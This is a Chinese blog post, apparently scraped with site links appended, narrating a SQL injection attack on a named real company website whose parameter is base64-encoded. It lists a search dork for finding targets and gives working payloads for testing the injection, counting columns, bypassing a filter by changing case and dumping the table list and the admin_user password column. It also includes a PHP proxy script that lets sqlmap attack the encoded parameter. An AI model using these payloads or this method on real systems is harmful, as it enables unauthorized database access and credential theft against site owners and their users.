base64变形注入与联合查询注入的爱情故事
先来写一下GET的知识点:
1.知道了convart函数(CONVERT函数是把日期转换为新数据类型的通用函数)
2.Illegal mix of collations for operation 'UNION'的成因是因为编码的缘故字符集的编码不同所导致的,要解决就配合convart8、using latin1函数来解决。
3.不要一直死干,要学会用自己掌握的知识。写脚本
PS:这方法也是我从习科的《sql注入自学指南》上面get的新技能。虽然get的时间有些时间了。但一直未曾尝试。今天就来试试。
百度搜索关键词:inurl:php?aWQ9
#ps:没错你没看错,后面是base64编码了的。
随便打开了一个网站:http://www.samilsys.com/project_detail.php?aWQ9MTI=
00x1 判断注入
先把后面的解密得知正确的参数为:id=122
将id=12 and 1=1进行base64加密:aWQ9MTIgYW5kIDE9MQ==
那么构造好了的URL就该是这样的:http://www.samilsys.com/project_detail.php?aWQ9MTIgYW5kIDE9MQ==
如下图,并无任何变化。
然后在重新加密一次:id=12 and 1=2
加了之后URL为:http://www.samilsys.com/project_detail.php?aWQ9MTIgYW5kIDE9Mg==
可见标题消失了,由此可判断存在sql注入。
00x2 猜字段数
将“id=12 order by 10”进行base64加密后
http://www.samilsys.com/project_detail.php?aWQ9MTIgb3JkZXIgYnkgMTA=
爆出了project表
最终测试出来字段数等于8.
00x3 爆显示位
当我将id=-12 union select 1,2,3,4,5,6,7,8-- 加密成base64然后执行的时候union select被过滤成了-- 经过测试发现,大小写直接就可以绕过了。
00x3 收集信息9
配合concat函数。
id=-12 UNION SELECT 1,2,3,4,5,6,7,concat(user(),0x7e,version(),0x7e,database())--
http://www.samilsys.com/project_detail.php?aWQ9LTEyIFVOSU9OIFNFTEVDVCAxLDIsMyw0LDUsNiw3LGNvbmNhdCh1c2VyKCksMHg3ZSx2ZXJzaW9uKCksMHg3ZSxkYXRhYmFzZSgpKS0t
http://www.samilsys.com/project_detail.php?id=-12 UNION SELECT 1,2,3,4,5,6,7,table_Name from information_schema.tables Where table_schema=database()--
转换为边base64以后:http://www.samilsys.com/project_detail.php?aWQ9LTEyIFVOSU9OIFNFTEVDVCAxLDIsMyw0LDUsNiw3LHRhYmxlX05hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpLS0=
提示:Error: Illegal mix of collations for operation 'UNION'
蒙B中。后来经过米哥的指导,发现了这篇文章:http://www.2cto.com/article/201202/121073.html
http://www.samilsys.com/project_detail.php?id=-12 UNION SELECT 1,2,3,4,5,6,7,convert(Table_Name using latin1) from information_schema.tables Where table_Schema=database()--
如图所示爆出表明来了。
然后我使用group_concat爆出所有的数据来。
http://www.samilsys.com/project_detail.php?
id=-12 UNION SELECT 1,2,3,4,5,6,7,convert(group_concat(Table_Name) using latin1) from information_schema.tables Where table_Schema=database()--
以下是所有的表:
admin_log,admin_user,company_info,contact,download,download_type,news,product-,product_down-,product_type-,project,project_type,single_files
找到管理员表,admin_user。然后再读取列。
http://www.samilsys.com/project_detail.php?
aWQ9LTEyIFVOSU9OIFNFTEVDVCAxLDIsMyw0LDUsNiw3LHB3ZCBmcm9tIGFkbWluX3VzZXItLSA=
刚开始跑的时候我是sqlmap.py -u "http://www.xxxx.com/newinfo.php?aWQ9MTI=" -v 3 --batch --tamper "base64encode.py"(ps:这里的aWQ9MTI=是id=12是base64加密的)一直跑不出来。聪明的人可能一眼就知道错误之处。但是我略傻逼。惭愧惭愧。
00x4 sqlmap如何跑base64加密了的注入点。
后来一个热心的Royal学长这样指导我。
将以下demo保存为xishaonian.php
<?php
$id = base64_encode("id=".$_GET['id']);
echo file_get_contents("http://www.xxxx.com/project_detail.php?{$id}");
?>
sqlmap.py -u "http:///www.xxxx.com/project_detail.php?id=12" -v3 --dbs
就可以跑出来了。
手工确实累。谢谢Royal学长的热心指导哈。
俩个不容易的在一起了。也记下了我这次学习成果。
THE END
base64变形注入与联合查询注入的爱情故事的更多相关文章
- 记一次SQL联合查询注入工具的编写
这是一个ASP网站的简单SQL注入检测和利用的工具,主要的功能是简单的检测出SQL注入漏洞,可以使用该id存在的SQL注入来获取数据库中的网站管理员的表名和字段名,猜解数据库中该表的字段数,最后通过联 ...
- MySQL手注之联合查询注入
了解联合查询注入之前,先要了解一下什么是union? union是用于合并两个sql查询结果的语句. 要使用union 必须有相同的列数 必须有两条以上的select语句组成 列的数据类型必须兼容 ...
- SQL注入之堆叠注入(堆查询注入)
Stached injection -- 堆叠注入 0x00 堆叠注入的定义 Stacked injection 汉语翻译过来后,称 为堆查询注入,也有称之为堆叠注入.堆叠注入为攻击者提供了很多的 ...
- sql注入之双查询注入
双查询注入前需要了解什么是子查询 子查询可以理解在一个select语句中再插入一个select 里面的select语句就是子查询 例子:select concat((select database() ...
- 网站SQL注入之数字型注入和字符型注入
什么是SQL注入- (SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击.1,是一种将SQL语句插入或添加到应用(用户)的 ...
- baby sqli 联合查询加入数据 手工注入
0x00 BabySQli 原题目描述:刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码! 登陆页面,查看源码后点进search.php看到一段可疑的句子MMZFM42 ...
- web安全之sql注入联合查询
联合查询的条件: 有显示位.当然要有注入点!! 提前需要了解的函数: union可合并两个或多个select语句的结果集,前提是两个select必有相同列.且各列的数据类型也相同 distinct 去 ...
- 豹子安全-注入工具-疑问_MySQL_基于联合查询_按钮【获取基本信息】不能成功的解决方法。
豹子安全-注入工具-疑问_MySQL_基于联合查询_按钮[获取基本信息]不能成功的解决方法. 网站: http://www.leosec.net 如下GIF影片所示:
- access注入 - 联合查询
1.access数据库简介 简介:Microsoft Office Access是由微软发布的关系数据库管理系统.它结合了 MicrosoftJet Database Engine 和 图形用户界面两 ...
随机推荐
- Asp.net 在网页编写C#代码示例-- 一个简单的web MsSql 命令执行环境
在给一个客户做的系统上,因为要对数据库进行查看,但之前都是用TeamView来连接到客户的服务器进行数据库操作的 但最近客户那边的TeamView好像更改过密码导致我无法正常连接,而巧了客户的网官因为 ...
- [Algorithm -- Dynamic Programming] Recursive Staircase Problem
For example there is a staricase N = 3 | ---| |---| | |---| | ---| ...
- js 判断页面元素是否存在
转自:http://www.0fish.com/js/416 原生js写法案例: obj = document.getElementById("someID"); if (obj) ...
- Keepalived+Nginx实现高可用和双主节点负载均衡
简介 Nginx可以实现高并发反向代理,lvs集群可以实现负载均衡,但是他们都有一个共同的弊端,就是Nginx,lvs架构中Director是单点故障,有没有一个好的方案解决这个问题呢?答案是有.通过 ...
- python 利用 setup.py 手动安装第三方类库
python 利用 setup.py 手动安装第三方类库 由于我在mac使用时,装了python3,默认有python2的环境,使用 pip 安装第三方类库时,老是安装到 python2的环境上: 在 ...
- TP框架项目部署linux大小写问题
TP框架项目部署linux大小写问题
- js 实现sleep函数
1.sleep函数 sleep函数作用是让线程休眠,等到指定时间在重新唤起. 2.sleep实现 <!DOCTYPE html> <html lang="zh"& ...
- yum groupinstall报错,处理方法
http://www.cnblogs.com/xiaoluo501395377/archive/2013/05/21/3089970.html ===== 创建repo库 # createrepo - ...
- 如何配置 Oracle VirtualBox 中的客户机与物理机网络
当你在 Oracle VirtualBox 虚拟机软件 中安装了各种操作系统时,你可能需要实现物理机与虚拟机之间的相互访问. 在这篇文章中,我们将会以最简单明了的方式来说明如何配置客户机与 Linux ...
- 正则表达式总结 java 等
这个经常用的到,就来总结一下 #一下是JAVA中的正则表达式 在 JDK1.4 里有了自己的正则表达式 API 包,JAVA 程序员可以免去找第三方提供的正则表达式库的周折了,我们现在就马上来了解一下 ...